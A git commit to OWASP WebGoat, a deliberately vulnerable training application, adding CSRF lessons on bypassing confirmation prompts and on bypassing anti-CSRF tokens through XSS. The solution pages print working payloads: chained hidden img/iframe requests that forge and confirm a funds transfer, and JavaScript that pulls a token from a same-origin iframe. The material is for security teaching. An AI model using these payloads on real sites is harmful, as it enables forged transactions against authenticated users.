This change includes two additional CSRF lessons. One for

by-passing a prompt (showing why prompts don't work).  The second for
by-passing CSRF tokens when XSS exists. 

It also modifies the existing CSRF lesson so that the lesson
can be extended and used by the two new lessons.


git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@386 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
cam.morris 2009-10-23 21:23:17 +00:00
parent b4af6471b1
commit d2a6a2b272
19 changed files with 747 additions and 11 deletions

View File

@ -6,11 +6,17 @@ import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import javax.servlet.http.HttpSession;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
@ -58,7 +64,8 @@ import org.owasp.webgoat.util.HtmlEncoder;
*/
public class CSRF extends LessonAdapter
{
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
protected static final String TRANSFER_FUNDS_PAGE = "main";
private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3;
private final static String NUMBER = "Num";
@ -108,17 +115,61 @@ public class CSRF extends LessonAdapter
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
addMessage(s);
ec.addElement(makeInput(s));
ec.addElement(new HR());
ec.addElement(makeCurrent(s));
ec.addElement(new HR());
ec.addElement(makeList(s));
if (isTransferFunds(s)){
ec.addElement(doTransfer(s));
} else {
addMessage(s);
ec.addElement(makeInput(s));
ec.addElement(new HR());
ec.addElement(makeCurrent(s));
ec.addElement(new HR());
ec.addElement(makeList(s));
}
return ec;
}
/**
* if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the
* web content to display the electronic transfer of funds. An request
* should have a dollar amount specified. When this page is accessed it will mark the lesson complete
*
* @param s
* @return Element will appropriate web content for a transfer of funds.
*/
protected Element doTransfer(WebSession s) {
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
ElementContainer ec = new ElementContainer();
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
//transfer form
ec.addElement(new H1("Electronic Transfer:"));
String action = getLink();
Form form = new Form(action, Form.POST);
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
//if this token is present we won't mark the lesson as completed
form.addElement( new Input(Input.submit));
ec.addElement(form);
//present transfer funds form
} else if (transferFunds.length() != 0){
//transfer is confirmed
ec.addElement(new H1("Electronic Transfer Complete"));
ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
makeSuccess(s);
}
return ec;
}
/**
* @param s current web session
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
*/
protected boolean isTransferFunds(WebSession s) {
return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER);
}
/**
* Description of the Method
*
@ -142,7 +193,8 @@ public class CSRF extends LessonAdapter
row2.addElement(item1);
TD item2 = new TD();
TextArea ta = new TextArea(MESSAGE, 5, 60);
TextArea ta = new TextArea(MESSAGE, 12, 60);
ta.addAttribute("wrap", "soft");
item2.addElement(ta);
row2.addElement(item2);
t.addElement(row1);
@ -281,7 +333,7 @@ public class CSRF extends LessonAdapter
return Category.XSS;
}
private final static Integer DEFAULT_RANKING = new Integer(120);
private final static Integer DEFAULT_RANKING = new Integer(121);
@Override
protected Integer getDefaultRanking()

View File

@ -0,0 +1,200 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.HttpSession;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Contributed by <a href="http://www.partnet.com">PartNet.</a>
*
*/
public class CsrfPromptByPass extends CSRF
{
protected static final String TRANSFER_FUND_AMOUNT_ATTRIBUTE = "transferFundAmount";
protected static final String CANCEL_TRANSFER = "CANCEL";
protected static final String CONFIRM_TRANFER = "CONFIRM";
/**
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
* web content to confirm and then execute a simulated transfer of funds. An initial request
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
*
* @param s
* @return Element will appropriate web content for a transfer of funds.
*/
protected Element doTransfer(WebSession s) {
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
ElementContainer ec = new ElementContainer();
if (transferFunds.length() != 0) {
HttpSession httpSession = s.getRequest().getSession();
Integer transferAmount = (Integer) httpSession.getAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
//present transfer form
ec.addElement(new H1("Electronic Transfer:"));
String action = getLink();
Form form = new Form(action, Form.POST);
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
//if this token is present we won't mark the lesson as completed
form.addElement( new Input(Input.submit));
ec.addElement(form);
} else if (transferFunds.equalsIgnoreCase(CONFIRM_TRANFER) && transferAmount != null ){
//transfer is confirmed
ec.addElement(new H1("Electronic Transfer Complete"));
ec.addElement(new StringElement("Amount Transfered: "+transferAmount));
makeSuccess(s);
} else if (transferFunds.equalsIgnoreCase(CANCEL_TRANSFER)){
//clear any pending fund transfer
s.getRequest().removeAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE);
} else if (transferFunds.length() > 0){
//save the transfer amount in the session
transferAmount = new Integer(transferFunds);
httpSession.setAttribute(TRANSFER_FUND_AMOUNT_ATTRIBUTE, transferAmount);
//prompt for confirmation
ec.addElement(new H1("Electronic Transfer Confirmation:"));
ec.addElement(new StringElement("Amount to transfer: "+transferAmount));
ec.addElement(new BR());
String action = getLink();
Form form = new Form(action, Form.POST);
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CONFIRM_TRANFER));
form.addElement( new Input(Input.submit, TRANSFER_FUNDS_PARAMETER, CANCEL_TRANSFER));
ec.addElement(form);
}
}
// white space
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new BR());
return ec;
}
/**
* @param s current web session
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
*/
protected boolean isTransferFunds(WebSession s) {
String transferFunds = s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "");
if (transferFunds.length() != 0){
return true;
}
return false;
}
@Override
protected Category getDefaultCategory()
{
return Category.XSS;
}
private final static Integer DEFAULT_RANKING = new Integer(122);
@Override
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
@Override
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Add 'transferFunds=400' to the URL and inspect the form that is returned");
hints.add("Add java script to send the confirmation after requesting the transfer");
hints.add("Insert two images or iframes, the second with no source. Specify the onload attribute of the first to set the source of the second. ");
hints.add("Include this URL in the message <pre>&lt;img src='" + getLink()
+ "&transferFunds=5000' width=\"1\" height=\"1\" /&gt;</pre>");
return hints;
}
/**
* Gets the title attribute of the MessageBoardScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("CSRF Prompt By-Pass");
}
public Element getCredits()
{
A partnet = new A("http://www.partnet.com");
partnet.setPrettyPrint(false);
partnet.addElement(new StringElement("PART"));
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
partnet.setStyle("background-color:midnightblue;color:white");
ElementContainer credits = new ElementContainer();
credits.addElement(new StringElement("Contributed by "));
credits.addElement(partnet);
credits.addElement(new BR());
credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa"));
return credits;
}
}

View File

@ -0,0 +1,181 @@
package org.owasp.webgoat.lessons;
import java.security.SecureRandom;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import javax.servlet.http.HttpSession;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.H2;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Contributed by <a href="http://www.partnet.com">PartNet.</a>
*
*/
public class CsrfTokenByPass extends CsrfPromptByPass
{
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
private static final String CSRFTOKEN = "CSRFToken";
private static final int INVALID_TOKEN = 0;
private final Random random;
public CsrfTokenByPass(){
super();
random = new SecureRandom();
}
/**
* if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the
* web content to confirm and then execute a simulated transfer of funds. An initial request
* should have a dollar amount specified. The amount will be stored and a confirmation form is presented.
* The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed.
*
* @param s
* @return Element will appropriate web content for a transfer of funds.
*/
protected Element doTransfer(WebSession s) {
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, ""));
ElementContainer ec = new ElementContainer();
if (transferFunds.length() != 0)
{
HttpSession httpSession = s.getRequest().getSession();
//get tokens to validate
Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN);
Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN);
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
//generate new random token:
int token = INVALID_TOKEN;
while (token == INVALID_TOKEN){
token = random.nextInt();
}
httpSession.setAttribute(CSRFTOKEN, token);
//present transfer form
ec.addElement(new H1("Electronic Transfer:"));
String action = getLink();
Form form = new Form(action, Form.POST);
form.addAttribute("id", "transferForm");
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
form.addElement( new Input(Input.hidden, CSRFTOKEN, token));
form.addElement( new Input(Input.submit));
ec.addElement(form);
//present transfer funds form
} else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){
//transfer is confirmed
ec.addElement(new H1("Electronic Transfer Complete"));
ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
makeSuccess(s);
}
//white space
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new BR());
}
return ec;
}
private final static Integer DEFAULT_RANKING = new Integer(123);
@Override
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
@Override
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned");
hints.add("The forged request needs both a token and the transfer funds parameter");
hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?");
return hints;
}
/**
* Gets the title attribute of the MessageBoardScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("CSRF Token By-Pass");
}
public Element getCredits()
{
A partnet = new A("http://www.partnet.com");
partnet.setPrettyPrint(false);
partnet.addElement(new StringElement("PART"));
partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false));
partnet.setStyle("background-color:midnightblue;color:white");
ElementContainer credits = new ElementContainer();
credits.addElement(new StringElement("Contributed by "));
credits.addElement(partnet);
credits.addElement(new BR());
credits.addElement(new StringElement("Derived from CSRF Lesson by Sherif Koussa"));
return credits;
}
}

View File

@ -16,6 +16,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41
lesson.StoredXss.ranking=10
lesson.ReflectedXSS.ranking=20
lesson.CSRF.ranking=30
lesson.CsrfPromptByPass.ranking=40
lesson.CsrfTokenByPass.ranking=50
lesson.CrossSiteScripting.hidden=true
category.Unvalidated\ Parameters.ranking=51

View File

@ -15,6 +15,8 @@ category.Cross-Site\ Scripting\ (XSS).ranking=41
lesson.StoredXss.ranking=10
lesson.ReflectedXSS.ranking=20
lesson.CSRF.ranking=30
lesson.CsrfPromptByPass.ranking=40
lesson.CsrfTokenByPass.ranking=50
category.Unvalidated\ Parameters.ranking=51
lesson.HiddenFieldTampering.ranking=10

View File

@ -0,0 +1,32 @@
<div align="Center">
<p><b>Lesson Plan Title:</b>CSRF User Prompt By-Pass</p><br/>
</div>
<p><b>Concept / Topic To Teach:</b> </p>
This lesson teaches how to perform CSRF attacks that by-pass user confirmation prompts.
<br>
<div align="Left">
<p>
<b>How the attacks works:</b>
<p>
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page
that contains a 'forged request' to execute commands with the victim's credentials. Prompting
a user to confirm or cancel the command might sound like a solution, but can be by-passed if
the prompt is scriptable. This lesson shows how to by-pass such a prompt by issuing another
forged request. This can also apply to a series of prompts such as a wizard or issuing multiple
unrelated forged requests.</p>
</div>
<p><b>General Goal(s):</b> </p>
<!-- Start Instructions -->
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
that the first request triggered. The URL should point to the CSRF lesson with an extra
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
receives this email and happens to be authenticated at that time will have his funds transferred.
When you think the attack is successful, refresh the page and you will find the green check on
the left hand side menu.
<!-- Stop Instructions -->

View File

@ -0,0 +1,37 @@
<div align="Center">
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p><br/>
</div>
<p><b>Concept / Topic To Teach:</b> </p>
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
<br>
<div align="Left">
<p>
<b>How the attacks works:</b>
</p>
<p>
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
loading a page that contains a 'forged request' to execute commands with the
victim's credentials. </p>
<p>Token-based request authentication mitigates these attacks. This technique
inserts tokens into pages that issue requests. These tokens are required to
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
this technique to help prevent CSRF attacks.</p>
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
Because of the same-origin browser policy, pages from the same domain can read content from
other pages from the same domain. </p>
</div>
<p><b>General Goal(s):</b> </p>
<!-- Start Instructions -->
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
request to transfer funds. To successfully complete you need to obtain a valid request token.
The page that presents the transfer funds form contains a valid request token. The URL for the
transfer funds page is the same as this lesson with an extra parameter "transferFunds=main". Load
this page, read the token and append the token in a forged request to transferFunds. When you think
the attack is successful, refresh the page and you will find the green check on the left hand side menu.
<!-- Stop Instructions -->

View File

@ -0,0 +1,109 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Client Side Filtering</title>
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
</head>
<body>
<p><b>Lesson Plan Title:</b>Prompt By-Pass with CSRF</p>
<p><b>Concept / Topic To Teach:</b><br/>
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing
multiple requests to by-pass a scriptable user-prompt
</p>
<p><b>General Goal(s):</b><br/>
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
that the first request triggered. The URL should point to the CSRF lesson with an extra
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
receives this email and happens to be authenticated at that time will have his funds transferred.
When you think the attack is successful, refresh the page and you will find the green check on
the left hand side menu
</p>
<b>Solution:</b><br/>
<p>Start by crafting an image or iframe tag similar to the CSRF LAB: <code>&lt;img
src="http://localhostattack?Screen=81&amp;menu=210&amp;transferFunds=5000"
width="1" height="1" /&gt;</code>
This image request will not result in a transfer of funds but will instead
prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the
Lesson with the extra parameter of "transferFunds=4000" <br/>
<img src="lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png" alt="User Prompt for confirmation of the transfer of funds" /><br>
<font size="2"><b>User Prompt</b></font>
</p>
<p>
Next look at the source of the page to see what parameters the confirmation requires.
The form in the confirmation prompt looks like the following:
<code>
<pre id="line548">&lt;<span class="start-tag">form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=5&amp;menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>&gt;
&lt;<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CONFIRM'</span>&gt;
&lt;<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CANCEL'</span>&gt;
&lt;/<span class="end-tag">form</span>&gt;</pre></code>
From this we see the next forged command will need the folllowing URL: <br/>
<code>attack?Screen=5&menu=900&transferFunds=CONFIRM</code><br/>
This solution shows how to do this attack with both iframes and images. The next step is to
add the additional forged confirmation request. However, an additional iframe or image with
this URL will not be sufficient. The second request must load after the first. So add
Javascript to load the second command after the first. For iframes, make the onload attribute
of the first frame set the src of the second iframe:<br/>
<code>
<pre id="line578">&lt;<span class="start-tag">iframe</span><span class="attribute-name">
src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=5&amp;menu=900&amp;transferFunds=400"
</span><span class="attribute-name">id</span>=<span class="attribute-value">"myFrame" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&amp;menu=900&amp;transferFunds=CONFIRM';"</span>&gt;
</pre><pre id="line591">&lt;/<span class="end-tag">iframe</span>&gt;
&lt;<span class="start-tag">iframe</span><span class="attribute-name">
id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>&gt;
&lt;/<span class="end-tag">iframe</span>&gt;
</pre>
</code>
Next add the iframes into a message stored on the web page:<br/>
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png" alt="Picture of embedded message" /><br>
<font size="2"><b>Insert iframes hack picture</b></font><br/>
<p>
The following shows the result of clicking on the malicious iframe message:
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png" alt="Picture of the malicious iframe message" /><br>
<font size="2"><b>Results of iframes hack picture</b></font><br/>
In the above image, note that the first frame shows the user prompt, the result of the
first forged request to transfer funds. In the second frame the results of the second
forged request (the confirmation) are shown, indicating that 4000 dollars were successfully
transfered. Refreshing the page will indicate that this lesson has been completed.
</p>
<p>
In a real attack these results would be hidden from the end user. Click "restart this lesson"
to attempt the attack again, only this time try hiding the attack with hidden or very small frames.
</p>
<p>
For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
<br/>
<code>
&lt;img
src="http://localhostattack?Screen=81&amp;menu=210&amp;transferFunds=5000"
onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&amp;menu=210&amp;transferFunds=CONFIRM'"
width="1" height="1" /&gt;
&lt;img
id="image2"
width="1" height="1" /&gt;
</code>
<br/>
Next store the malicious images in a message and click the message to attempt the attack.
<img src="lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png" alt="Picture of the malicious iframe message" /><br>
<font size="2"><b>Picture of adding malicious image requests</b></font><br/>
Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit
CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but
not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 230 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 206 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 218 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 204 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 206 KiB

View File

@ -0,0 +1,121 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>CSRF Token By-Pass</title>
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
</head>
<body>
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p>
<p><b>Concept / Topic To Teach:</b><br/>
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
</p>
<p>
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
loading a page that contains a 'forged request' to execute commands with the
victim's credentials. </p>
<p>Token-based request authentication deters these attacks. This technique
inserts tokens into pages that issue requests. These tokens are required to
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
this technique to help prevent CSRF attacks.</p>
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
Because of the same-origin browser policy, pages from the same domain can read content from
other pages from the same domain. </p>
<p><b>General Goal(s):</b><br/>
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
request to transfer funds. To successfully complete you need to obtain a valid request token. The
URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter
"transferFunds=main". Load this page, read the token and append the token in a forged request
to transferFunds. When you think the attack is successful, refresh the page and you will find the
green check on the left hand side menu.
</p>
<b>Solution:</b><br/>
<p>Similar to the CSRF LAB, you must forge a request that will transfer funds. However,
a request will not result in a transfer of funds unless it has a correct token. To find
a valid token, you could look at the form that the site generates to submit a transfer of funds.
To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter
of "transferFunds=main" <br/>
<img src="lesson_solutions/CsrfTokenByPass_files/tokenPage.png" alt="Picture of transfer initiation form" /><br>
<font size="2"><b>Transfer initiation form</b></font>
</p>
<p>
Next look at the source of the page to see what parameter the token comes in.
<code>
<pre id="line538"><span class="start-tag">&lt;form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">id</span>=<span class="attribute-value">'transferForm' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=2&amp;menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>&gt;
&lt;<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'text' </span><span class="attribute-name">value</span>=<span class="attribute-value">'0'</span>&gt;
&lt;<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'CSRFToken' </span><span class="attribute-name">type</span>=<span class="attribute-value">'hidden' </span><span class="attribute-name">value</span>=<span class="attribute-value">'1745740650'</span>&gt;
&lt;<span class="start-tag">input</span><span class="attribute-name"> type</span>=<span class="attribute-value">'submit'</span>&gt;
</pre><pre id="line555">&lt;/<span class="end-tag">form</span>&gt;</pre>
</code>
From this we see a forged command will need the <i>CSRFToken</i> parameter. <br/>
<p>This solution loads this page in an iframe and reads the token out of the frame.
Note that this is possible because the message originates from the same domain and
does not violate the "same origin policy". So even thought this page has taken
measures to prevent CSRF attacks, those measures can be side-stepped because of
CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the
frame, then the form, then saves the token </p>
<code><pre>
var tokenvalue;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("Form")[0];
var token = form.CSRFToken.value;
tokenvalue = '&CSRFToken='+token;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;
}
</pre></code>
<p>readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
LoadFrame2 will then append the token and load a second frame. </p>
The following frames loads the transfer page in the first frame. When it finishes loading, it will
call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.
<code><pre></pre></code>
<code>
<pre id="line585">&lt;<span class="start-tag">iframe</span><span class="attribute-name"> src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=212&amp;menu=900&amp;transferFunds=main"
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"readFrame1();"
</span><span class="attribute-name">id</span>=<span class="attribute-value">"frame1" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>&gt;&lt;/<span class="end-tag">iframe</span>&gt;
&lt;<span class="start-tag">iframe</span><span class="attribute-name"> id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>&gt;&lt;/<span class="end-tag">iframe</span>&gt;
</pre>
</code>
<p>The next picture shows inserting this code into a message:<br/>
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHack.png" alt="Picture of inserting CSRF code in web page" /><br>
<font size="2"><b>Inserting CSRF code into message</b></font><br/><br/>
The following picture shows the results of someone hitting this page. Note that no effort was taken to
hide the results of the two frames. The first frame shows the transfer funds form, and the second shows
